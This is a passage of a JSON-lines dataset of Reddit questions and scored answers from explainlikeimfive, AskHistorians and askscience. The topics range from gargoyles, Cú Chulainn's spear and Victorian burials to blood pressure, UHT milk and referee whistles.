"http://www.academia.edu/3844520/_Iry-Hor_et_Narmer_au_Sud-Sinai_ouadi_Ameyra_", "http://htmlimg3.scribdassets.com/39lf055br42pmp9u/images/20-2defa39689.jpg"], [], [], [], ["https://www.reddit.com/r/AskHistorians/comments/1tqfef/what_is_the_oldest_recorded_human_name/"], []]}
{"q_id": "a9qtj6", "title": "why is radiohead considered so musically innovative?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a9qtj6/eli5_why_is_radiohead_considered_so_musically/", "answers": {"a_id": ["eclpe4p", "eclwmbs", "ecm7lbz", "ecmdfat"], "score": [13, 26, 11, 4], "text": ["OK Computer was one of the biggest albums of the 90's and is widely considered one of the best rock albums of all time, and sold millions of copies. So when it came time to make the follow up record, they made an fairly experimental electronic album that only has guitars on like three songs. ", "Their songs typically have unique arrangements and complex chord progressions and rhythmic structure compared to the standard alt rock music around when they first rose to fame. And then they continued to experiment and change their style with each new album release.", "Have you ever heard a song where the lyrics \u2018the raindrops\u2019 are repeated 43 times and it sounds amazing? That\u2019s why.", "They elevated the electronic music game, something that wasn\u2019t being used in mainstream rock/alt/pop music at the time. \n\nThe rhythms and chords are amazing of course, but they were making it on electronic instruments and software. They used this orchestration and made it sound beautiful and full of emotion where in the past some electronic music comes off as cold and indifferent (I am expecting some people to attack me on this, but I am just speaking in general terms. Love Subotnick/Babbit/Wendy Carlos Williams). \n\nI saw Thom Yorke this last week and he had so much gear and he looked like a wizard tweaking all the knobs. Sometimes he didn\u2019t even have to look at where his hand was going and he just knew what he was doing. It was so cool to watch him work. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1jkupk", "title": "How common was it for adults to be buried with their parents in the Victorian era?", "selftext": "I understand that this may not have been commonplace, but I have seen a number of gravestones with sons being buried with their parents (in a single plot, with this one case being a son passing away four years [1888, at the age of 45] after the father).\n\nWould this be due to the son not having a family of his own, or for other reasons? Thank you. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jkupk/how_common_was_it_for_adults_to_be_buried_with/", "answers": {"a_id": ["cbfnub2"], "score": [3], "text": ["When I studied abroad in Scotland and Ireland the summer after my freshman year in college, my group went to a small down in the county of Aberdeen in Scotland where went to an old Catholic church's graveyard to walk around. The tour guide was telling us how the families in the 19th centuries would buy family burial plots for their children to be laid to rest in if they past before the parents, and to be buried if they were not married off and had families of their own. When a member of my group asked why, the tour guide told us that it was because of the belief that the spirits could be together in the after life.\n\nI know it's not much to go on, but in that area of Scotland, it was safe to assume that the parents planned ahead for the \"old maids\" and the bachelors of the family to be buried with the parents. The Victorian Era was really the last era that celebrated death (similar to the Egyptians), and they typically prepared and went all out to be ready for the after life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1fln8u", "title": "what was the purpose and meaning behind gargoyles?", "selftext": "I don't see newer buildings using these so I want to know what their function was if for anything.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1fln8u/eli5_what_was_the_purpose_and_meaning_behind/", "answers": {"a_id": ["cabgsrg", "cabjdb9", "cabujrg"], "score": [18, 7, 2], "text": ["Back in the old days, indoor piping was very hard to do from an engineering standpoint. To avoid having their buildings get damaged by rain buildup on the roof, architects would incorporate gargoyles, which are essentially protruding gutters that direct water to flow away from the building and fall to the ground without running down the building (and potentially damaging it).\n\nWith the advent of plumbing this became unnecessary, as they could just make a pipe that ran through the building instead. This alternative won out pretty quickly; gargoyles had a tendency to break after years of usage, and their method of disposing of rain buildup began to be less and less appealing as civilizations got bigger and buildings started getting taller. You can imagine the potential dangers of having torrents of water spilling onto the pavement or having a large stone object break off the side of your building.\n\nWhy did they look so ornate? No actual reason. Architects and designers had a thing for the theatrical. There are plenty of old gargoyles which don't have any special design to them - they just look like rain spouts. I should add, though, that while the designs didn't have functional purpose, they could very-well be used as religious symbols or something similar.", "Gargoyles, as cuddlesy said are mainly to divert water away from the building, but they have another purpose. When Christianity was first being preached in Europe not everyone was fully convinced of the ideas that Jesus and his followers preached. For this reason, the builders, who were working high off the ground, away from the eyes of whoever was the head of the church or Cathedral, decided to be careful and carve the demon like figures into the cathedrals. The figures came from the pagan belief that these scary figures would keep away demons and other bad spirits. \nTL;DR Gargoyles, in addition to being rain spouts, were thought to keep demons away. ", "Note that gargoyles are specifically statues that spout water from their mouths (as in \u2018gargle\u2019). An ordinary demon-like sculpture on a building or post is called a grotesque. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "36nrau", "title": "What is the prevailing theory (s) about the origins of the inequality of nations?", "selftext": "In college in the 1990s, I recall a great deal of emphasis on geography, natural resources, climate -- a lot of materialism. Jared Diamond added to this physicalist account in Guns, Germs, and Steel in the late 1990s. What are the key points in the debate? Is there consensus? What seems to be accepted \"universally\"? Does it matter which discipline one approaches from?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/36nrau/what_is_the_prevailing_theory_s_about_the_origins/", "answers": {"a_id": ["crfjvq2"], "score": [2], "text": ["There is no consensus, simply because when you try to find reasons why a nation succeeds or fail, you eventualy end up putting a hierarchy, or a blame. No one wants to take the blame, no one wants to be at the wrong part of the hierarchy of \"good Nations\". Hence the relative success of the geographical argument, that does none of this, since geography and climate aren't the result of any specific group's actions. An argument which was completely destroyed in a fascinating and absolutely fundamental (relatively new) work about this subject : [Why Nations Fail](_URL_0_).\n\nThe study first debunks geographic and localisation arguments, explores specific historical dynamics and overall does a brilliant account of the current literature on the subject. Then, it studies what colonialism did to the world. Colonialism, according to Acemoglu, was about bringing wealth from the periphery to the mother nation : there never was, at any single point in time, a will from the \"mother nations\" (ie colonizing nations) to build anything close to a state in these colonized territories. When independances started happening (starting in Brazil if I recall correctly), you progressively had more and more countries that appeared and could only use what was basically a leftover colonial administration with the sole purpose of resource extraction as its main state bureaucracy, as it was what was left over by the colonizers as they were kicked out. Many of these countries still have this exctractive logic, in the form of \"predator states\", or dictatorships, since institutionalism is highly dependent on its origin (see the theory of [path dependence](_URL_1_)). \n\nOverall, it's a fantastic work and a perfect summary of the current debate. \n\nHowever, you could argue that it is still a perspective. Intepretating the past is an inexact science: you can never, ever find the right answer. There are some factors that do seem to favor  inequality though, like political instability and agrarian economy : this book adds this great theory of colonial extraction."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Why_Nations_Fail", "http://en.wikipedia.org/wiki/Path_dependence"]]}
{"q_id": "3nqes6", "title": "edward snowden is living in exile in moscow. how does he make a living and cover his basic living, health, and travel expenses?", "selftext": "Just curious?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3nqes6/eli5_edward_snowden_is_living_in_exile_in_moscow/", "answers": {"a_id": ["cvqbvj2", "cvqyt27"], "score": [18, 6], "text": ["Not sure about today, but a year ago SPIEGEL reported he was living off of a stipendium. He also probably makes some money with interviews, writing articles and stuff. So that should cover his expenses just fine I think. \n\nSource (german): _URL_0_", "The Russian government is protecting him. He is in many ways a showpiece for them,  they want any other potential leakers to know that they will be safe in Russia.  To that end they are not going to let him starve and will take care of his basic needs at the very least. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.spiegel.de/netzwelt/netzpolitik/edward-snowden-interview-mit-dem-magazin-new-yorker-zur-filmpremiere-a-996760.html"], []]}
{"q_id": "5fulvl", "title": "is it possible to keep an arm in a cast for so long that the muscles would no longer recover from atrophy once the cast is removed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5fulvl/eli5_is_it_possible_to_keep_an_arm_in_a_cast_for/", "answers": {"a_id": ["dan6jlr", "dan8ws3"], "score": [3, 2], "text": ["Yes, it's possible that you could leave a limb in a cast too long and the atrophy would lead excessive atrophy and \"freezing\" of joints.\n\nThe recovery from leaving casts on too long can be severe, impairing muscle growth and joint movement for months or years, possibly indefinately depending on the nature of the injury requiring the cast.\n\n", "I broke my elbow and I am currently in physical therapy for it.  I was in a cast for a little over 3 weeks before it was removed.  The doctor told me the bone was still healing and that I should be very careful with it but if I had the elbow immobilized for the full 6 week healing process the muscles would have permanent damage.  My ELI5 from the physical therapist was that the tendons that help the muscles are like sponges and that when you bend them they pump out waste that collects in them.  Stop bending it and this waste just builds up and makes the tendon brittle and less elastic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ms0xp", "title": "18 hours to submit your science fair project at /r/asksciencefair!", "selftext": "You have another 18 hours (midnight pacific time) to finish up and post your science fair project over at /r/asksciencefair!  We have a couple of cool projects already posted there.\n\nIf you've already got a project going, make sure it's posted by midnight Pacific!\n\nAnd if you don't have a project going, I bet someone who really got a move on could do a project and have it posted by the deadline, assuming the question was something small enough!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ms0xp/18_hours_to_submit_your_science_fair_project_at/", "answers": {"a_id": ["c33doxq", "c33doxq"], "score": [7, 7], "text": ["Don't be afraid to post and last-minute of incomplete projects!  Just put it out there!", "Don't be afraid to post and last-minute of incomplete projects!  Just put it out there!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "32680y", "title": "How fast does air get sucked into space?", "selftext": "You see in movies when there is a hull breach or whatnot, air/object get sucked out of the hole extremely fast? How fast is it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/32680y/how_fast_does_air_get_sucked_into_space/", "answers": {"a_id": ["cq8awq4", "cq8mjdi"], "score": [173, 2], "text": ["Air molecules move QUICKLY. At 20\u00b0C, an average air molecule will probably move around 500 meters per second. When they bounce off something, they push off that thing, they impart some momentum. The force experienced by an area with a lot of air molecules bouncing off it is air-pressure. Normally, you'd have air molecules bouncing off either side of an object, and the net force imparted cancels out.\n\nAir pressure in a spaceship would probably be around 1 atmosphere, which is 15 pounds per square inch of pressure. Now imagine you made a hole one square inch in size in your spaceship, and put say, say, a marble in the hole. That marble would feel 15 pounds of force pushing it out the hole... but because there's no air on the other side, nothing pushing back. And air molecules nearest the hole and coincidentally heading towards it would just fly out at 500m/s straight away. Others might take some bounces, but because they can't bounce off other air molecules that have already escaped, everything will tend to bounce towards the hole on average. Objects won't have that speed, because it takes a while to accelerate to it even at 15 pounds of force per square inch, and they'll be clear of the hole pretty quickly. How fast will depend on the object's size and mass. A [1 m^2 hole with a 15 psi pressure difference yields 23000 pounds-force](_URL_2_) which would in turn [accelerate a 1 m^2 person at 1km/s^2 for a short time.](_URL_1_). If we say that a person is 1 foot wide, they'll [accelerate to about 25m/s](_URL_3_) in the time that they're in the hole, (using the last of these [kinematic equations](_URL_4_).)\n\nSo how fast will all the air empty? It'll depend how much there is, but it might be quite tricky to calculate. Luckily others have done this in the past, [here's an example](_URL_0_). Their result for a 30m^3 cabin: \n\n >  We can see that a one square centimetre hole will reduce cabin pressure by 50% in 500 seconds (8.3 minutes). This value scales in inverse proportion to hole area. Thus a 10 sq cm hole will only take 50 seconds to halve the pressure, (...)\n\ndisclaimer: It's late, someone check my maths.\n\n[edit] As Overunderrated says, this is not a complete picture and wantonly ignores fluid dynamics!\n\n[edit 2] Well, it looks like this isn't quite the right answer, but I'll leave it up as an approximation until someone comes up with a better one.", "Related question: Would two chambers, one at 1 atmosphere of pressure, and the other at 2 atmospheres of pressure, behave similarly to a vacuum and 1 atmosphere of pressure? That is, would a 1 cm^2 hole between them do about the same thing as a 1 cm^2 hole between 1 atm and a vacuum?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.spaceacademy.net.au/flight/emg/spcdp.htm", "http://www.wolframalpha.com/input/?i=acceleration+of+23250+pounds-force", "http://www.wolframalpha.com/input/?i=15+psi+*+1+m%5E2", "http://www.wolframalpha.com/input/?i=sqrt%282*1000m%2Fs%2Fs*1+foot%29", "http://en.wikipedia.org/wiki/Kinematics#Particle_trajectories_under_constant_acceleration"], []]}
{"q_id": "3o7kso", "title": "why is high blood pressure bad for you (due to the damage to the arteries and blood vessels) but regular exercise, which also increases blood pressure, doesn't cause the same damage?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3o7kso/eli5why_is_high_blood_pressure_bad_for_you_due_to/", "answers": {"a_id": ["cvuphgr", "cvups67"], "score": [2, 86], "text": ["Because of the effect exercise has on your resting blood pressure. It lowers it.  Same with heart rate. It speeds up when you are training,  but drops to a lower resting rate in general,  if you workout consistently. ", "1. High blood pressure leads to enlargement of your heart (because it needs to pump harder in order to overcome the resistance of your narrowed/blocked/damaged arteries). This leads to all sorts of heart problems, particularly dilated cardiomyopathy. \n\n2. Exercise leads to a *transient* increase in blood pressure. People who exercise excessively tend to have larger hearts too (particularly left ventricular hypertrophy) and this also has the potential to cause problems, however, you would have to exercise *a lot* for this to happen. There are two key differences between transient high blood pressure from exercise, and high blood pressure from clogged vessels. Firstly, exercise only raises your blood pressure momentarily, however, the longer-term effect of exercise is reduced fat clogging your arteries leading to an overall reduced blood pressure for the majority of the time. The second difference is that in exercise whilst your heart needs to pump harder (to move more blood around), however, this is against low resistance. This process of pumping harder makes the heart stronger. By contrast, when you have high blood pressure your heart needs to pump harder *against resistance*, leading to dilatation which is far more problematic. Dilatation is like filling a balloon with water - the balloon expands, but it does not get stronger/more elastic. \n\n3. High blood pressure causes damage to the heart and the kidneys. However, high blood pressure also indicates clogged arteries and/or kidney disease (amongst many other things). These things that you have when you have high blood pressure cause damage too, damage somebody who exercises well does not have. \n\nDifficult, but great question! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "696fy9", "title": "the termination shock zone", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/696fy9/eli5_the_termination_shock_zone/", "answers": {"a_id": ["dh45cw4"], "score": [14], "text": ["The Termination Shock Zone, a kick-ass title if there ever was one, is the area where solar wind (ie plasma and particles) emitted by the Sun start to slow down below the speed of sound. Up until this point, the solar wind pushes with a significant amount of force, and essentially keeps any plasma from other stellar bodies from causally entering our solar system; [a visual metaphor provided by Wikipedia](_URL_0_) compares it to a running faucet directed at a body of soapy water, creating an area that's free of bubbles, ending at the point where the running water has lost too much speed to push them away. It's positioned about 75-90 times further away from the sun than the Earth, and represents one of the notable lines that separates our neck of the stellar woods with true \"interstellar space\". \n\nBeyond it, you hit a zone of turbulence as the plasma from the sun intermingles with the plasma of the surrounding space, effectively dropping the \"wind speed\" of the Sun's plasma to zero, and even further beyond that you hit the heliopause, the point where the Sun's plasma is effectively absent. \n\nInformation on the shock zone and the following regions is very limited, since it represents the very outer edge of human spaceflight capability, with only a small number of unmanned probes making the journey. As such, any new missions into that region could reveal facts very different than our current understanding. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Heliosphere#Termination_shock"]]}
{"q_id": "a0pn07", "title": "with all the forest fires recently in the world, how are forest fires traced back to the original starting point?", "selftext": "Thanks in advance.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a0pn07/eli5_with_all_the_forest_fires_recently_in_the/", "answers": {"a_id": ["eajh3cu", "eajjg2p", "eajurya", "eajwyfd"], "score": [37, 3, 11, 13], "text": ["Mostly satellite replay. It\u2019s very interesting what they do, my father is a fire inspector and in 2016 they shipped him out to Fort McMurry (A forest fire wiped their town). It\u2019s different for houses, that\u2019s what he mainly gets jobs at in our small town.", "I saw a documentary somewhere on a fire investigator a few years back. There is some satellite imaginary,  but based on the heat of the fire, wind patterns from that day, and a few other things the guy can trace it back and can potentially determine a case. ", "In the spirit of ELI5 - the burn pattern often makes an arrow that points back to the point of origin. Bigger fires use sat imaging and smaller ones you can often see just walking the burn(ed) line.", "Sort of ELI15, but:\n\nAll fires (in the USA at least) have an investigator. On small fires, that investigator might be the fire fighters that respond. After the fire is out, they use their training to plot the fire line back to the point of origin. Since fires start small and then grow bigger, this point of origin is often well preserved (a lightning struck tree, an escaped campfire, a cigarette butt, etc).\n\nOn larger fires, this becomes more complicated. The responding firefighters can\u2019t do an investigation on an actively moving fire. They have to work to establish anchor points and containment lines. In many incidents, they are calling for backup or evacuations. However, they are trained to preserve any potential point of origin. Later, fire fighters who specialize in pinpointing fire origin, cause, and behavioral stages will conduct the investigation. This is done in part using satellite imagery and aerial photographs, but they also put boots on the ground to determine (to the best of their ability) what caused the fire and where it started.\n\nAgain, because wildland fires generally start small and follow wind direction / topography fairly consistently, the origin point is often very well preserved. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "bv2sbc", "title": "why is it so difficult to shower when a person is depressed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bv2sbc/eli5_why_is_it_so_difficult_to_shower_when_a/", "answers": {"a_id": ["epkir2h", "epkjtur", "epkjyhd", "epknii7", "epkxyi5", "eplt67a"], "score": [53, 17, 7, 32, 6, 3], "text": ["One symptom of depression is lack of motivation. This, combined with a lack if self-interest and a lack of caring about the world in general and how one presents within it (common with depression) can lead to reduced hygenie practises.\n\nReal ELIF: it's easier to do anything when you're happy", "You know that paralyzingly low energy you get when you have a bad flu? Imagine that kind of energy level, body aches, and just wanting to sleep being around for a much longer period of time. Not even touching the mental aspect, but just what it feels like to be deep in depression.", "Lack of caring. Depression can lead to no desire of even leaving your bed. Other cases some don't speak for long periods of time or go through a mental break where they lose all ability to interact with others.", "It seems like a huge undertaking. A massive ordeal. And not just that, but useless, too. You have to strip down fully naked (and then see your body, to boot). Then you have to do every single thing that comes of a shower: wash hair, wash body, wash face, and the whole time it's just like... why am I doing this? Who am I trying to impress? What difference will it make, to anyone, whether I'm clean or not? I'm not going to feel better either way. Why am I even pretending like I'm a human who should be clean? \n\nAnd then you come out, dry off, and you're still the same person as when you went in, but now you have to put on clothes and you're damp. And again, you ask: why?\n\n(YMMV)", "Interestingly, this is not my experience with MDD at all. Showering is my guilty pleasure. When I am especially depressed, I can shower for hours, wrecking my water bill.", "The sense of being overwhelmed. Everyday things seem overwhelming as well as pointless. Sitting in a chair is about as much energy you can expend."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "etqqzf", "title": "why does a referee whistle need a little ball inside", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/etqqzf/eli5_why_does_a_referee_whistle_need_a_little/", "answers": {"a_id": ["ffhyk40", "ffj644w"], "score": [459, 9], "text": ["A normal whistle gives a constant note which is something that the human brain will automatically ignore as just a background noise. Lots of things make constant notes in nature and most of them is unimportant. Most important or dangerous things makes changing sounds so we tend to focus more on sounds that change instead of the constant notes. Musicians will change the notes of their flutes by blowing through them differently and covering up holes in different patterns. They will sometimes add vibrato to make a sound more noticeable by vibrating their finger over a hole. Referees are not musicians and just wants a whistle which grabs the players attention without having to do anything fancy with it. So instead of a finger to vibrate over a hole they stuff a cork ball into the whistle which will swirl around in the turbulent air and cover up the hole in the whistle changing the sound. This gives the whistle its characteristic vibrato sound which grabs peoples attention. It is also possible to change the speed of the ball by changing how hard you blow into the whistle which is something that is easier to interpret then a change in volume or note.", "Only old whistles have peas (the cork ball, because it looks like a pea). It's job is to rattle around the air chamber to create variance in the sound of the whistle, because a human brain really HATES flat soundwaves, and will ignore them. Unfortunately the pea mutes the whistle slightly (because it's absorbing the sound waves, being made of a squishy material), and can swell when gotten wet with rain or saliva and get stuck inside the whistle, which makes it almost useless, and most referees work in the rain quite often.\n\nModern whistles don't have the pea, instead using multiple chambers to create harmonic resonances in the whistle to create a shrill, oscillating tone that is both louder than a pea whistle (because you're removing the mute) and more attention grabbing (because you can intentionally design the chambers to vibrate at the right frequencies).\n\nThe modern standard is the Fox40 classic, a three-chamber whistle used by both football and american football referees."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "p1vya", "title": "Do men with larger penises feel more pleasure during sex?", "selftext": "Many of the people here opposed to circumcision cite that circumcision decreases nerve endings, which leads to reduced pleasure. Therefore, would people with larger penises have more nerve endings and therefore have more pleasurable sex? Or do people with larger penises not necessarily have more nerve endings, and I'm misunderstanding the topic entirely? Thanks.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/p1vya/do_men_with_larger_penises_feel_more_pleasure/", "answers": {"a_id": ["c3lxs4g"], "score": [2], "text": ["Pleasure is more than simply density of nerve endings, and at a very basic level would involve emotional response and neural response patterns. \n\nA larger penis would have more skin, but this does not mean more nerve endings necesarily ( although probably does mean more cutaneous ) nor does that mean that they all carry an equal and additive unit of pleasure to the brain. They just fire and the signal runs upwards towards the thalamus. How gain and gating apply to this is most likely very complex.\n\nThe brain very likely doesnt interpret pleasure as double nerve endings = double pleasure.\nIf indeed there are more significant endings at all.\n\nIn short, difficult question, difficult to answer , probably not."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3w08vj", "title": "In Celtic mythology, C\u00fa Chulainn is endowed with a unique weapon, the G\u00e1e Bolg, which is described as a \"foot thrown spear with multiple heads\". Is the G\u00e1e Bolg modeled after some actual weapon or is it a symbolic litterary device. If the latter, what was its symbolism.", "selftext": "Some descriptions also add that the multiple heads of the G\u00e1e Bolg may have opened up within their target, somewhat like an umbrella, filling the victim with quill-like spikes. Quite vivid imagery that.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3w08vj/in_celtic_mythology_c\u00fa_chulainn_is_endowed_with_a/", "answers": {"a_id": ["cxsc75w", "cxsphn5"], "score": [643, 5], "text": ["^(*Please note I've moved my account to /u/Bealoideas, so if you have any further questions on this topic, I would be happy to answer messages sent there.*)\n\nSo I have a bit more time now, so I'm going to flesh out this response a bit for people who may not have a lot of knowledge about the subject, so they can better understand what Gargatua is inquiring about. C\u00fa Chulainn is a mythic hero in the Ulster Cycle of Ireland, which is a medieval collection of literature depicting a pre-Christian Ireland. C\u00fa Chulainn (his birth name is S\u00e9tanta, *C\u00fa Chulainn* means literally 'The Hound of Culann' after he killed Culann's watchdog and swore to take its place) is a virtually unmatched warrior who fights for the Ulster region of Ireland. Cu Chulainn appears most famously in the *T\u00e1in B\u00f3 C\u00faailnge*, or the Cattle-Raid of Cooley, where is engages in sole combat against a massive army commanded by Queen Medb of Connacht.\n\nC\u00fa Chulainn is notable for his great youth, with many of his exploits occurring when he is only a few years old, for his devastating martial skill, and as the question notes, a special weapon the G\u00e1e Bolg (or *Ga Bolga* in modern Irish), which is pointed and barbed so fiercely that wielding it requires special training that only C\u00fa Chulainn possesses, and whose wounds are utterly fatal. \n\nWith that said, and though I am not by any means a military historian, the answer unfortunately is basically no: C\u00fa Chulainn was adept with the javelin, and certainly this weapon was used in Ireland, but the barbed javelin, the *ga bolga*, is likely as fanciful and hyperbolic as C\u00fa Chulainn himself - I believe it has to be cut out of a person after impaling them, so filled they are with barbs. Indeed he has several exotic weapons, thinking of the *T\u00e1in B\u00f3 C\u00faailnge* particularly, his *carbad searrdha* or Scythed Chariot is a prominent example. A sort of *Gladiator* style bladed affair for cutting down opponents. War Chariots in general were probably not used in Ireland, despite their appearances in the literary tradition, though they did appear on the continent. \n\nAnd to answer the second part of your question: Essentially the *ga bolga* was meant to be C\u00fa Chulainn's trump card, when he was otherwise evenly matched, which was rare. In the *T\u00e1in B\u00f3 C\u00faailnge* he uses it to kill Ferdia, his sort-of foster-brother, both of them having been trained by Sc\u00e1thach, a sort of Scottish woman warmaster. Since I have Kinsella's translation of the text beside me, here is the relevant passage:\n\n > C\u00fachulainn caught [the gae bolga] in the fork of his foot and sent it casting toward Ferdia and it went through the deep and sturdy apron of twice-smelted iron, and shattered in three parts the stout strong stone of the size of a mill-stone, and went coursing through the highways and byways of his body so that every single joint filled with barbs.\n\n*The T\u00e1in* Trans. Thomas Kinsella.  Oxford University Press 1969. p. 196.\n\nThis follows a very lengthy set of engagements, both martial and verbal between them, and C\u00fachulainn kills Ferdia very reluctantly. I believe he also kills his son with the same weapon, so there is probably a theme there as a weapon of pyrrhic victory.\n\nSources just off the top of my head are Daithi O h\u00d3gain's *The Lore of Ireland* for general information on C\u00fa Chulainn and Barry Cunliffe's *The Ancient Celts* for background on the Continental Celtic tribes of Europe.\n\nSince there is quite a lot of discussion below on comics in the genre of Irish material, I'll promote the lovely series of graphic novels of Irish myths and legends written in Irish, [of which The T\u00e1in](_URL_0_) is my favorite. There are translations online if you're not a *gaeilgeoir*.\n\n**Appendix**\n\nIrish orthography, particularly dealing with early Irish sources, is a bit...varied. So you may see terms I've used here spelled differently elsewhere. My own usage is just my preference, such as I mostly prefer Old Irish terminology, ignore Middle Irish (because it's overwrought), and mix in modern Irish because a lot of secondary sources use that, and it gets muddled. In Old Irish there's really only two vowel types, so *G\u00e1e Bulg* and *G\u00e1e Bolg* are identical, with *Ga Bolga* being the modern Irish, which I used because Daithi O h\u00d3gain was using it when I sourced him. C\u00fa Chulainn can be rendered about twenty different ways, the one I've used is my preference, Kinsella uses another without spacing in my excerpt. Ferdia is modern Irish as well, because O h\u00d3gain used it, in the original material Ferdiad would be the appropriate form. Irish is a beautiful language, and I encourage everyone who has any interest to learn some.", "This should be cross-posted to /r/ireland as well. May get some info there. Slainte."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.leabhar.com/tain.htm"], []]}
{"q_id": "aco79y", "title": "how does losing consciousness during resting help regain energy more efficiently?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aco79y/eli5_how_does_losing_consciousness_during_resting/", "answers": {"a_id": ["ed9hpyn", "ed9p588", "ed9tng0"], "score": [12, 18, 6], "text": ["It's just like how your cell phone recharges faster when it's off. Less apps draining your battery.\n\nI'm aware that this is wildly inaccurate, but I'd love to know this answer as well, and nothing seems to motivate redditors more than an opportunity to tell someone that they're wrong!", "Short answer: Nobody Knows.\n\nPrevailing theory is that the circulation of the fluid around your brain (CerebroSpinal Fluid - CSF) increases and clears metabolic waste and that this process isn\u2019t possible when conscious - _URL_0_", "I always theorized (emphasis on theorized) that it takes so long to regain energy that if we were conscious for it, we would get bored and seek stimuli thus ending the rest period so our brains adapted to remain unconscious to prevent this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.npr.org/sections/health-shots/2013/10/18/236211811/brains-sweep-themselves-clean-of-toxins-during-sleep"], []]}
{"q_id": "elgygv", "title": "Typically, half  &  half is sold \"ultra-pasteurized\" in the US and lasts for weeks in your fridge. Regular milk is sold \"pasteurized\" and spoils more quickly. Is there a non-economic reason why milk is not ultra-pasteurized as well?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/elgygv/typically_half_half_is_sold_ultrapasteurized_in/", "answers": {"a_id": ["fdj7krb", "fdj7ysz", "fdke33s"], "score": [27, 13, 3], "text": ["According to Wikipedia it\u2019s because with Milk, the UHT process \u201cUltra High Temperature\u201d  changes the structure of the proteins and and gives it what people describe as a \u201cburnt\u201d taste. It affects half-half and heavy cream  slightly differently. \n\n\n_URL_0_", "There are some flavor differences between pasteurized and ultra pasteurized (also know as ultra heat treated, or UHT) milk. There are UHT milk products available in the United States - here\u2019s an example at Target: _URL_0_", "Taste mostly and a little bit of nutrition. Did a study abroad in Spain and tried ultra-pasteurized milk there. It tasted very flat to me and didn\u2019t have the same mouth feel. Have read that the higher temps alter the proteins in the milk."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Ultra-high-temperature_processing"], ["https://www.target.com/p/horizon-organic-whole-milk-96oz/-/A-54511460"], []]}
{"q_id": "1laxwe", "title": "why do people make the correlation between chess and one's intelligence?", "selftext": "I guess what makes chess so damn important and only the smartest minds can really master it.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1laxwe/eli5_why_do_people_make_the_correlation_between/", "answers": {"a_id": ["cbxezi5", "cbxf1z7"], "score": [2, 7], "text": ["It is the multi-turn strategy.  If he does this, I do this, he does this then, therefore I do that.\n\nIt requires high level thinking.  Remembering turns, thinking of different options.. things like that.", "I used to play a lot when I was in elementary school, and I even went out to national tournaments in Nashville, Philly, and Atlanta. There is nothing inherently important about chess nor does knowing how to play mean you are smart. However, being really good or a \"grand master\" requires insane amounts of patience, problem solving skills, and concentration. Those guys are thinking through each of the likely scenarios and planning 8 or 9 moves in advance. I've even seen people play (and win) blindfolded so they have to keep track of every move and plan ahead without ever seeing the board. So I guess what I'm saying is to be good at chess you need to be smart. Your question seems to come from frustration so I will add that you shouldn't let someone talk down to you because they are better at chess. You might need to be intelligent to be good at chess but just because you don't know how to play doesn't mean you are not smart."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
